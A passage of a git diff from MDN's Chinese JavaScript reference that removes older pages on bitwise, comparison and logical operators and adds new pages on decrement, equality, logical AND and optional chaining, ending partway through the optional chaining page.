-       nFlag++, sMask += String(nShifted >>> 31), nShifted <<= 1);
-  return sMask;
-}
-
-var string1 = createBinaryString(11);
-var string2 = createBinaryString(4);
-var string3 = createBinaryString(1);
-
-alert(string1);
-// 打印 00000000000000000000000000001011, i.e. 11
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
ECMAScript 1st Edition.StandardInitial definition.
{{SpecName('ES5.1', '#sec-11.4.8', 'Bitwise NOT operator')}}
- {{SpecName('ES5.1', '#sec-11.7', 'Bitwise shift operators')}}
- {{SpecName('ES5.1', '#sec-11.10', 'Binary bitwise operators')}}
{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-bitwise-not-operator', 'Bitwise NOT operator')}}
- {{SpecName('ES6', '#sec-bitwise-shift-operators', 'Bitwise shift operators')}}
- {{SpecName('ES6', '#sec-binary-bitwise-operators', 'Binary bitwise operators')}}
{{Spec2('ES6')}}
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Bitwise NOT (~){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise AND (&){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise OR (|){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise XOR (^){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Left shift (<<){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Right shift (>>){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Unsigned right shift (>>>){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Bitwise NOT (~){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise AND (&){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise OR (|){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise XOR (^){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Left shift (<<){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Right shift (>>){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Unsigned right shift (>>>){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -

相关链接

- - diff --git a/files/zh-cn/web/javascript/reference/operators/comparison_operators/index.html b/files/zh-cn/web/javascript/reference/operators/comparison_operators/index.html deleted file mode 100644 index 5ddf85f426..0000000000 --- a/files/zh-cn/web/javascript/reference/operators/comparison_operators/index.html +++ /dev/null @@ -1,278 +0,0 @@ ---- -title: 比较操作符 -slug: Web/JavaScript/Reference/Operators/Comparison_Operators -tags: - - 严格比较操作符 - - 比较操作符 -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Comparison_Operators ---- -
{{jsSidebar("Operators")}}
- -

JavaScript 有两种比较方式:严格比较运算符和转换类型比较运算符。对于严格比较运算符(===)来说,仅当两个操作数的类型相同且值相等为 true,而对于被广泛使用的比较运算符(==)来说,会在进行比较之前,将两个操作数转换成相同的类型。对于关系运算符(比如 <=)来说,会先将操作数转为原始值,使它们类型相同,再进行比较运算。

- -

字符串比较则是使用基于标准字典的 Unicode 值来进行比较的。

- -

比较的特点:

- -
    -
  • 对于两个拥有相同字符顺序,相同长度,并且每个字符的位置都匹配的字符串,应该使用严格比较运算符。
  • -
  •  对于两个数值相同的数字应该使用严格比较运算符,NaN和任何值不相等,包括其自身,正数零等于负数零。
  • -
  • 对于两个同为true或同为false的布尔操作数,应使用严格比较运算符。
  • -
  • 不要使用严格比较运算符或比较运算符来比较两个不相等的对象。
  • -
  • 当比较一个表达式和一个对象时,仅当两个操作数引用相同的对象(指针指向相同对象)。
  • -
  • 对于Null 和 Undefined 类型而言,应使用严格比较运算符比较其自身,使用比较运算符进行互相比较。
  • -
- -

相等运算符

- -

相等(==)

- -

比较操作符会为两个不同类型的操作数转换类型,然后进行严格比较。当两个操作数都是对象时,JavaScript会比较其内部引用,当且仅当他们的引用指向内存中的相同对象(区域)时才相等,即他们在栈内存中的引用地址相同。

- -

语法

- -
x == y
-
- -

例子

- -
 1   ==  1     // true
-"1"  ==  1     // true
- 1   == '1'    // true
- 0   == false  // true
-
- -

不相等 (!=)

- -

不等操作符仅当操作数不相等时返回true,如果两操作数不是同一类型,JavaScript会尝试将其转为一个合适的类型,然后进行比较。如果两操作数为对象类型,JavaScript会比较其内部引用地址,仅当他们在内存中引用不同对象时不相等。

- -

语法

- -
x != y
- -

例子

- -
1 !=   2     // true
-1 !=  "1"    // false
-1 !=  '1'    // false
-1 !=  true   // false
-0 !=  false  // false
-
- -

一致/严格相等 (===)

- -

一致运算符不会进行类型转换,仅当操作数严格相等时返回true

- -

语法

- -
x === y
- -

例子

- -
3 === 3   // true
-3 === '3' // false
-var object1 = {"value":"key"}, object2={"value":"key"};
-object1 === object2 //false
- -

不一致/严格不相等 (!==)

- -

不一致运算符当操作数不相等或不同类型时返回true

- -

语法

- -
x !== y
- -

例子

- -
3 !== '3' // true
-4 !== 3   // true
-
- -

关系运算符

- -

大于运算符 (>)

- -

大于运算符仅当左操作数大于右操作数时返回true

- -

语法

- -
x > y
- -

例子

- -
4 > 3 // true
-
- -

大于等于运算符 (>=)

- -

大于等于运算符当左操作数大于或等于右操作数时返回true

- -

语法

- -
 x >= y
- -

例子

- -
4 >= 3 // true
-3 >= 3 // true
-
- -

小于运算符 (<)

- -

小于运算符仅当左操作数小于右操作数时返回true

- -

语法

- -
 x < y
- -

例子

- -
3 < 4 // true
-
- -

小于等于运算符 (<=)

- -

小于等于运算符当左操作数小于或等于右操作数时返回true

- -

语法

- -
 x <= y
- -

例子

- -
3 <= 4 // true
-
- -

使用比较操作符

- -

标准相等操作符(== and !=) 使用 Abstract Equality Comparison Algorithm 去比较两个操作数。当两个操作数类型不相等时,会在比较前尝试将其转换为相同类型。 e.g., 对于表达式 5 == '5', 在比较前会先将右边字符串类型的操作数 5 转换为数字。

- -

严格相等操作符 (=== and !==) 使用 Strict Equality Comparison Algorithm 并尝试对两个相同操作数进行相等比较,如果它们的类型不相等,那么永远会返回false 所以 5 !== '5'。

- -

当需要明确操作数的类型和值的时候,或者操作数的确切类型非常重要时,应使用严格相等操作符。否则,当你允许操作数在比较前进行类型转换时,可以使用标准相等操作符来比较。

- -

当比较运算涉及类型转换时 (i.e., non–strict comparison), JavaScript 会按以下规则对字符串,数字,布尔或对象类型的操作数进行操作:

- -
    -
  • 当比较数字和字符串时,字符串会转换成数字值。 JavaScript 尝试将数字字面量转换为数字类型的值。 首先, 一个数学上的值会从数字字面量中衍生出来,然后这个值将被转为一个最接近的Number类型的值。
  • -
  • 如果其中一个操作数为布尔类型,那么布尔操作数如果为true,那么会转换为1,如果为false,会转换为整数0,即0。
  • -
  • 如果一个对象与数字或字符串相比较,JavaScript会尝试返回对象的默认值。操作符会尝试通过方法valueOf和toString将对象转换为其原始值(一个字符串或数字类型的值)。如果尝试转换失败,会产生一个运行时错误。
  • -
  • 注意:当且仅当与原始值比较时,对象会被转换为原始值。当两个操作数均为对象时,它们作为对象进行比较,仅当它们引用相同对象时返回true。
  • -
- -
注意: 字符串对象的类型是对象,不是字符串!字符串对象很少被使用,所以下面的结果也许会让你惊讶:
- -
// true as both operands are Type String (i.e. string primitives):
-'foo' === 'foo'
-
-var a = new String('foo');
-var b = new String('foo');
-
-// false as a and b are Type Object and reference different objects
-a == b
-
-// false as a and b are Type Object and reference different objects
-a === b
-
-// true as a and 'foo' are of different type and, the Object (a)
-// is converted to String 'foo' before comparison
-a == 'foo' 
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
ECMAScript 1st Edition.StandardInitial definition. Implemented in JavaScript 1.0
ECMAScript 3rd Edition.StandardAdds === and !== operators. Implemented in JavaScript 1.3
{{SpecName('ES5.1', '#sec-11.8', 'Relational Operators')}}
- {{SpecName('ES5.1', '#sec-11.9', 'Equality Operators')}}
{{Spec2('ES5.1')}}Defined in several sections of the specification: Relational OperatorsEquality Operators
{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}
- {{SpecName('ES6', '#sec-equality-operators', 'Equality Operators')}}
{{Spec2('ES6')}}Defined in several sections of the specification: Relational OperatorsEquality Operators
{{SpecName('ESDraft', '#sec-relational-operators')}}{{Spec2('ESDraft')}}Defined in several sections of the specification: Relational OperatorsEquality Operators
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

See also

- - diff --git a/files/zh-cn/web/javascript/reference/operators/decrement/index.html b/files/zh-cn/web/javascript/reference/operators/decrement/index.html new file mode 100644 index 0000000000..f405740df3 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/decrement/index.html @@ -0,0 +1,85 @@ +--- +title: 自减 (--) +slug: Web/JavaScript/Reference/Operators/自减 +tags: + - JavaScript + - 自减 + - 语法特性 + - 运算符 +translation_of: Web/JavaScript/Reference/Operators/Decrement +--- +
{{jsSidebar("Operators")}}
+ +

 自减运算符(--) 将它的操作数减一,然后返回操作数.

+ +
{{EmbedInteractiveExample("pages/js/expressions-decrement.html")}}
+ +
+ + + +


+ 语法

+ +
操作符: x-- or --x
+
+ +

语法细节

+ +

如果使用后缀式,即将操作符放在操作数的后面 (如,x--),运算会减一,然后返回减一之前的值。

+ +

如果使用前缀式,即将操作符放在操作数的前面 (如,--x),运算会减一,然后返回减一之后的值。

+ +

示例

+ +

后缀式

+ +
let x = 3;
+y = x--;
+
+// y = 3
+// x = 2
+
+ +

前缀式

+ +
let a = 2;
+b = --a;
+
+// a = 1
+// b = 1
+
+ +

规范

+ + + + + + + + + + +
规范
{{SpecName('ESDraft', '#sec-postfix-decrement-operator', '自减运算符')}}
+ +


+ 浏览器兼容性

+ + + +

{{Compat("javascript.operators.decrement")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/javascript/reference/operators/equality/index.html b/files/zh-cn/web/javascript/reference/operators/equality/index.html new file mode 100644 index 0000000000..e100ec1d2d --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/equality/index.html @@ -0,0 +1,125 @@ +--- +title: 相等(==) +slug: Web/JavaScript/Reference/Operators/相等 +tags: + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Operators/Equality +--- +
{{jsSidebar("Operators")}}
+ +

等于运算符(==)检查其两个操作数是否相等,并返回Boolean结果。与严格相等运算符(===)不同,它会尝试强制类型转换并且比较不同类型的操作数。

+ +
{{EmbedInteractiveExample("pages/js/expressions-equality.html")}}
+ +

语法

+ +
x == y
+
+ +

描述

+ +

相等运算符(==!=)使用抽象相等比较算法比较两个操作数。可以大致概括如下:

+ +
    +
  • 如果两个操作数都是对象,则仅当两个操作数都引用同一个对象时才返回true
  • +
  • 如果一个操作数是null,另一个操作数是undefined,则返回true
  • +
  • 如果两个操作数是不同类型的,就会尝试在比较之前将它们转换为相同类型: +
      +
    • 当数字与字符串进行比较时,会尝试将字符串转换为数字值。
    • +
    • 如果操作数之一是Boolean,则将布尔操作数转换为1或0。 +
        +
      • 如果是true,则转换为1
      • +
      • 如果是 false,则转换为0
      • +
      +
    • +
    • 如果操作数之一是对象,另一个是数字或字符串,会尝试使用对象的valueOf()toString()方法将对象转换为原始值。
    • +
    +
  • +
  • 如果操作数具有相同的类型,则将它们进行如下比较: +
      +
    • Stringtrue仅当两个操作数具有相同顺序的相同字符时才返回。
    • +
    • Numbertrue仅当两个操作数具有相同的值时才返回。+0并被-0视为相同的值。如果任一操作数为NaN,则返回false
    • +
    • Booleantrue仅当操作数为两个true或两个false时才返回true
    • +
    +
  • +
+ +

此运算符与严格等于===)运算符之间最显着的区别在于,严格等于运算符不尝试类型转换。相反,严格相等运算符始终将不同类型的操作数视为不同。

+ +

例子

+ +

没有类型转换的比较

+ +
1 == 1;              // true
+"hello" == "hello";  // true
+ +

与类型转换比较

+ +
"1" ==  1;            // true
+1 == "1";             // true
+0 == false;           // true
+0 == null;            // false
+0 == undefined;       // false
+null == undefined;    // true
+
+const number1 = new Number(3);
+const number2 = new Number(3);
+number1 == 3;         // true
+number1 == number2;   // false
+ +

对象比较

+ +
const object1 = {"key": "value"}
+const object2 = {"key": "value"};
+
+object1 == object2 // false
+object2 == object2 // true
+ +

比较字符串和String对象

+ +

请注意,使用构造的字符串new String()是对象。如果将其中之一与字符串文字进行比较,则该String对象将被转换为字符串文字并对其内容进行比较。但是,如果两个操作数都是String对象,则将它们作为对象进行比较,并且必须引用相同的对象才能进行比较:

+ +
const string1 = "hello";
+const string2 = String("hello");
+const string3 = new String("hello");
+const string4 = new String("hello");
+
+console.log(string1 == string2); // true
+console.log(string1 == string3); // true
+console.log(string2 == string3); // true
+console.log(string3 == string4); // false
+console.log(string4 == string4); // true
+ +

比较日期和字符串

+ +
const d = new Date('December 17, 1995 03:24:00');
+const s = d.toString(); // for example: "Sun Dec 17 1995 03:24:00 GMT-0800 (Pacific Standard Time)"
+console.log(d == s);    //true
+ +

技术指标

+ + + + + + + + + + + + +
规范
{{SpecName('ESDraft', '#sec-equality-operators', 'Equality operators')}}
+ +

浏览器兼容性

+ +

{{Compat("javascript.operators.equality")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/javascript/reference/operators/logical_and/index.html b/files/zh-cn/web/javascript/reference/operators/logical_and/index.html new file mode 100644 index 0000000000..de38317f42 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/logical_and/index.html @@ -0,0 +1,137 @@ +--- +title: 逻辑与(&&) +slug: Web/JavaScript/Reference/Operators/逻辑和 +translation_of: Web/JavaScript/Reference/Operators/Logical_AND +--- +
{{jsSidebar("Operators")}}
+ +

The logical AND (&&) operator (logical conjunction) for a set of operands is true if and only if all of its operands are true. It is typically used with {{jsxref("Boolean")}} (logical) values. When it is, it returns a Boolean value. However, the && operator actually returns the value of one of the specified operands, so if this operator is used with non-Boolean values, it will return a non-Boolean value.

+ +
{{EmbedInteractiveExample("pages/js/expressions-logical-and.html", "shorter")}}
+ + + +

Syntax

+ +
expr1 && expr2
+
+ +

Description

+ +

If expr1 can be converted to true, returns expr2; else, returns expr1.

+ +

If a value can be converted to true, the value is so-called {{Glossary("truthy")}}. If a value can be converted to false, the value is so-called {{Glossary("falsy")}}.

+ +

Examples of expressions that can be converted to false are:

+ +
    +
  • null;
  • +
  • NaN;
  • +
  • 0;
  • +
  • empty string ("" or '' or ``);
  • +
  • undefined.
  • +
+ +

Even though the && operator can be used with operands that are not Boolean values, it can still be considered a boolean operator since its return value can always be converted to a boolean primitive. To explicitly convert its return value (or any expression in general) to the corresponding boolean value, use a double NOT operator or the {{jsxref("Global_Objects/Boolean/Boolean", "Boolean")}} constructor.

+ +

Short-circuit evaluation

+ +

The logical AND expression is evaluated left to right, it is tested for possible "short-circuit" evaluation using the following rule:

+ +

(some falsy expression) && expr is short-circuit evaluated to the falsy expression;

+ +

Short circuit means that the expr part above is not evaluated, hence any side effects of doing so do not take effect (e.g., if expr is a function call, the calling never takes place). This happens because the value of the operator is already determined after the evaluation of the first operand. See example:

+ +
function A(){ console.log('called A'); return false; }
+function B(){ console.log('called B'); return true; }
+
+console.log( A() && B() );
+// logs "called A" due to the function call,
+// then logs false (which is the resulting value of the operator)
+
+ +

Operator precedence

+ +

The following expressions might seem equivalent, but they are not, because the && operator is executed before the || operator (see operator precedence).

+ +
true || false && false      // returns true, because && is executed first
+(true || false) && false    // returns false, because operator precedence cannot apply
+ +

Examples

+ +

Using AND

+ +

The following code shows examples of the && (logical AND) operator.

+ +
a1 = true  && true       // t && t returns true
+a2 = true  && false      // t && f returns false
+a3 = false && true       // f && t returns false
+a4 = false && (3 == 4)   // f && f returns false
+a5 = 'Cat' && 'Dog'      // t && t returns "Dog"
+a6 = false && 'Cat'      // f && t returns false
+a7 = 'Cat' && false      // t && f returns false
+a8 = ''    && false      // f && f returns ""
+a9 = false && ''         // f && f returns false
+ +

Conversion rules for booleans

+ +

Converting AND to OR

+ +

The following operation involving booleans:

+ +
bCondition1 && bCondition2
+ +

is always equal to:

+ +
!(!bCondition1 || !bCondition2)
+ +

Converting OR to AND

+ +

The following operation involving booleans:

+ +
bCondition1 || bCondition2
+ +

is always equal to:

+ +
!(!bCondition1 && !bCondition2)
+ +

Removing nested parentheses

+ +

As logical expressions are evaluated left to right, it is always possible to remove parentheses from a complex expression following some rules.

+ +

The following composite operation involving booleans:

+ +
bCondition1 || (bCondition2 && bCondition3)
+ +

is always equal to:

+ +
bCondition1 || bCondition2 && bCondition3
+ +

Specifications

+ + + + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#prod-LogicalANDExpression', 'Logical AND expression')}}
+ +

Browser compatibility

+ + + +

{{Compat("javascript.operators.logical_and")}}

+ +

See also

+ +
    +
  • {{jsxref("Boolean")}}
  • +
  • {{Glossary("Truthy")}}
  • +
  • {{Glossary("Falsy")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/operators/logical_operators/index.html b/files/zh-cn/web/javascript/reference/operators/logical_operators/index.html deleted file mode 100644 index 5615e17d45..0000000000 --- a/files/zh-cn/web/javascript/reference/operators/logical_operators/index.html +++ /dev/null @@ -1,238 +0,0 @@ ---- -title: 逻辑运算符 -slug: Web/JavaScript/Reference/Operators/Logical_Operators -tags: - - JavaScript - - 操作符 - - 逻辑 -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Logical_Operators ---- -
{{jsSidebar("Operators")}}
- -

逻辑运算符通常用于{{jsxref("Boolean","布尔")}}型(逻辑)值。这种情况下,它们返回一个布尔值。然而,&&|| 运算符会返回一个指定操作数的值,因此,这些运算符也用于非布尔值。这时,它们也就会返回一个非布尔型值。

- -
{{EmbedInteractiveExample("pages/js/expressions-logicaloperator.html")}}
- - - -

描述

- -

逻辑运算符如下表所示 (其中expr可能是任何一种类型, 不一定是布尔值):

- - - - - - - - - - - - - - - - - - - - - - - - -
运算符语法说明
逻辑与,AND(&&expr1 && expr2expr1 可转换为 true,则返回 expr2;否则,返回 expr1
逻辑或,OR(||expr1 || expr2expr1 可转换为 true,则返回 expr1;否则,返回 expr2
逻辑非,NOT(!!exprexpr 可转换为 true,则返回 false;否则,返回 true
- -

如果一个值可以被转换为 true,那么这个值就是所谓的 {{Glossary("truthy")}},如果可以被转换为 false,那么这个值就是所谓的 {{Glossary("falsy")}}。

- -

会被转换为 false 的表达式有:

- -
    -
  • null
  • -
  • NaN
  • -
  • 0
  • -
  • 空字符串("" or '' or ``);
  • -
  • undefined
  • -
- -

尽管 &&|| 运算符能够使用非布尔值的操作数, 但它们依然可以被看作是布尔操作符,因为它们的返回值总是能够被转换为布尔值。如果要显式地将它们的返回值(或者表达式)转换为布尔值,请使用双重非运算符(即!!)或者Boolean构造函数。

- -

短路计算

- -

由于逻辑表达式的运算顺序是从左到右,也可以用以下规则进行"短路"计算:

- -
    -
  • (some falsy expression) && (expr) 短路计算的结果为假。
  • -
  • (some truthy expression) || (expr) 短路计算的结果为真。
  • -
- -

短路意味着上述表达式中的expr部分不会被执行,因此expr的任何副作用都不会生效(举个例子,如果expr是一次函数调用,这次调用就不会发生)。造成这种现象的原因是,整个表达式的值在第一个操作数被计算后已经确定了。看一个例子:

- -
function A(){ console.log('called A'); return false; }
-function B(){ console.log('called B'); return true; }
-
-console.log( A() && B() );
-// logs "called A" due to the function call,
-// then logs false (which is the resulting value of the operator)
-
-console.log( B() || A() );
-// logs "called B" due to the function call,
-// then logs true (which is the resulting value of the operator)
-
- -

Operators precedence

- -

请注意,由于运算符优先级的存在,下面的表达式的结果却不相同。右侧被小括号括起来的操作变成了独立的表达式。

- -
false &&  true || true      // 结果为 true
-false && (true || true)     // 结果为 false
-
- -

逻辑与(&&

- -

下面的代码是 && (逻辑与) 运算符的示例.

- -
a1 = true  && true      // t && t 返回 true
-a2 = true  && false     // t && f 返回 false
-a3 = false && true      // f && t 返回 false
-a4 = false && (3 == 4)  // f && f 返回 false
-a5 = "Cat" && "Dog"     // t && t 返回 "Dog"
-a6 = false && "Cat"     // f && t 返回 false
-a7 = "Cat" && false     // t && f 返回 false
-a8 = ''    && false     // f && f 返回 ""
-a9 = false && ''        // f && f 返回 false
-
- -

逻辑或(||

- -

下面的代码是 || (逻辑或) 运算符的示例。

- -
o1 = true  || true      // t || t 返回 true
-o2 = false || true      // f || t 返回 true
-o3 = true  || false     // t || f 返回 true
-o4 = false || (3 == 4)  // f || f 返回 false
-o5 = "Cat" || "Dog"     // t || t 返回 "Cat"
-o6 = false || "Cat"     // f || t 返回 "Cat"
-o7 = "Cat" || false     // t || f 返回 "Cat"
-o8 = ''    || false     // f || f 返回 false
-o9 = false || ''        // f || f 返回 ""
-
- -

逻辑非(!

- -

下面的代码是 ! (逻辑非) 运算符的示例.

- -
n1 = !true              // !t 返回 false
-n2 = !false             // !f 返回 true
-n3 = !''                // !f 返回 true
-n4 = !'Cat'             // !t 返回 false
-
- -

双重非(!!)运算符

- -

可能使用双重非运算符的一个场景,是显式地将任意值强制转换为其对应的布尔值。这种转换是基于被转换值的 "truthyness" 和 "falsyness"的(参见 {{Glossary("truthy")}} 和 {{Glossary("falsy")}})。

- -

同样的转换可以通过 Boolean 函数完成。

- -
n1 = !!true                   // !!truthy 返回 true
-n2 = !!{}                     // !!truthy 返回 true: 任何 对象都是 truthy 的…
-n3 = !!(new Boolean(false))   // …甚至 .valueOf() 返回 false 的布尔值对象也是!
-n4 = !!false                  // !!falsy 返回 false
-n5 = !!""                     // !!falsy 返回 false
-n6 = !!Boolean(false)         // !!falsy 返回 false
-
- -

布尔值转换规则

- -

将 AND 转换为 OR

- -

以下涉及布尔运算的操作:

- -
bCondition1 && bCondition2
- -

总是等于:

- -
!(!bCondition1 || !bCondition2)
- -

将 OR 转换为 AND

- -

以下涉及布尔运算的操作:

- -
bCondition1 || bCondition2
- -

总是等于:

- -
!(!bCondition1 && !bCondition2)
- -

删除嵌套的小括号

- -

由于逻辑表达式是从左往右计算的,所以,通常可以按照下面的规则删除小括号。

- -

删除嵌套的 AND

- -

以下涉及布尔运算的操作:

- -
bCondition1 || (bCondition2 && bCondition3)
- -

总是等于:

- -
bCondition1 || bCondition2 && bCondition3
- -

删除嵌套的 OR

- -

以下涉及布尔运算的操作:

- -
bCondition1 && (bCondition2 || bCondition3)
- -

总是等于:

- -
!(!bCondition1 || !bCondition2 && !bCondition3)
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-11.11')}}{{Spec2('ES5.1')}}Defined in several sections of the specification: Logical NOT Operator, Binary Logical Operators
{{SpecName('ES6', '#sec-binary-logical-operators')}}{{Spec2('ES6')}}Defined in several sections of the specification: Logical NOT Operator, Binary Logical Operators
{{SpecName('ESDraft', '#sec-binary-logical-operators')}}{{Spec2('ESDraft')}}Defined in several sections of the specification: Logical NOT Operator, Binary Logical Operators
- -

浏览器兼容性

- - - -

{{Compat("javascript.operators.logical")}}

- -

参见

- - diff --git a/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html b/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html new file mode 100644 index 0000000000..da2f04c775 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html @@ -0,0 +1,202 @@ +--- +title: 可选链操作符 +slug: Web/JavaScript/Reference/Operators/可选链 +tags: + - '?.' + - JavaScript + - Optional chaining (?.) + - Reference + - 参考 + - 可选链 + - 语言特性 + - 运算符 + - 链式调用 +translation_of: Web/JavaScript/Reference/Operators/Optional_chaining +--- +
{{JSSidebar("Operators")}}
+ +

可选链操作符( ?. )允许读取位于连接对象链深处的属性的值,而不必明确验证链中的每个引用是否有效。?. 操作符的功能类似于 . 链式操作符,不同之处在于,在引用为空(nullish ) ({{JSxRef("null")}} 或者 {{JSxRef("undefined")}}) 的情况下不会引起错误,该表达式短路返回值是 undefined。与函数调用一起使用时,如果给定的函数不存在,则返回 undefined

+ +

当尝试访问可能不存在的对象属性时,可选链操作符将会使表达式更短、更简明。在探索一个对象的内容时,如果不能确定哪些属性必定存在,可选链操作符也是很有帮助的。

+ +
{{EmbedInteractiveExample("pages/js/expressions-optionalchainingoperator.html", "taller")}}
+ + + +

语法

+ +
obj?.prop
+obj?.[expr]
+arr?.[index]
+func?.(args)
+
+ +

描述

+ +

通过连接的对象的引用或函数可能是 undefinednull 时,可选链操作符提供了一种方法来简化被连接对象的值访问。

+ +

比如,思考一个存在嵌套结构的对象 obj。不使用可选链的话,查找一个深度嵌套的子属性时,需要验证之间的引用,例如:

+ +
let nestedProp = obj.first && obj.first.second;
+ +

为了避免报错,在访问obj.first.second之前,要保证 obj.first 的值既不是 null,也不是 undefined。如果只是直接访问 obj.first.second,而不对 obj.first 进行校验,则有可能抛出错误。

+ +

有了可选链操作符(?.),在访问 obj.first.second 之前,不再需要明确地校验 obj.first 的状态,再并用短路计算获取最终结果:

+ +
let nestedProp = obj.first?.second;
+ +

通过使用 ?. 操作符取代 . 操作符,JavaScript 会在尝试访问 obj.first.second 之前,先隐式地检查并确定 obj.first 既不是 null 也不是 undefined。如果obj.first null 或者 undefined,表达式将会短路计算直接返回 undefined

+ +

这等价于以下表达式,但实际上没有创建临时变量:

+ +
let temp = obj.first;
+let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.second);
+ +

可选链与函数调用

+ +

当尝试调用一个可能不存在的方法时也可以使用可选链。这将是很有帮助的,比如,当使用一个API的方法可能不可用时,要么因为实现的版本问题要么因为当前用户的设备不支持该功能。

+ +

函数调用时如果被调用的方法不存在,使用可选链可以使表达式自动返回undefined而不是抛出一个异常。

+ +
let result = someInterface.customMethod?.();
+ +
+

注意: 如果存在一个属性名且不是函数, 使用 ?. 仍然会产生一个 {{JSxRef("TypeError")}} 异常 (x.y is not a function).

+
+ +
+

注意: 如果 someInterface 自身是 null 或者 undefined ,异常 {{JSxRef("TypeError")}} 仍会被抛出 someInterface is null 如果你希望允许 someInterface 也为 null 或者 undefined ,那么你需要像这样写 someInterface?.customMethod?.()

+
+ +

处理可选的回调函数或者事件处理器

+ +

如果使用解构赋值来解构的一个对象的回调函数或 fetch 方法,你可能得到不能当做函数直接调用的不存在的值,除非你已经校验了他们的存在性。使用?.的你可以忽略这些额外的校验:

+ +
//  ES2019的写法
+function doSomething(onContent, onError) {
+  try {
+    // ... do something with the data
+  }
+  catch (err) {
+    if (onError) { // 校验onError是否真的存在
+      onError(err.message);
+    }
+  }
+}
+
+ +
// 使用可选链进行函数调用
+function doSomething(onContent, onError) {
+  try {
+   // ... do something with the data
+  }
+  catch (err) {
+    onError?.(err.message); // 如果onError是undefined也不会有异常
+  }
+}
+
+ +

可选链和表达式

+ +

当使用方括号与属性名的形式来访问属性时,你也可以使用可选链操作符:

+ +
let nestedProp = obj?.['prop' + 'Name'];
+ +

可选链不能用于赋值

+ +
let object = {};
+object?.property = 1; // Uncaught SyntaxError: Invalid left-hand side in assignment
+ +

可选链访问数组元素

+ +
let arrayItem = arr?.[42];
+ +

例子

+ +

基本例子

+ +

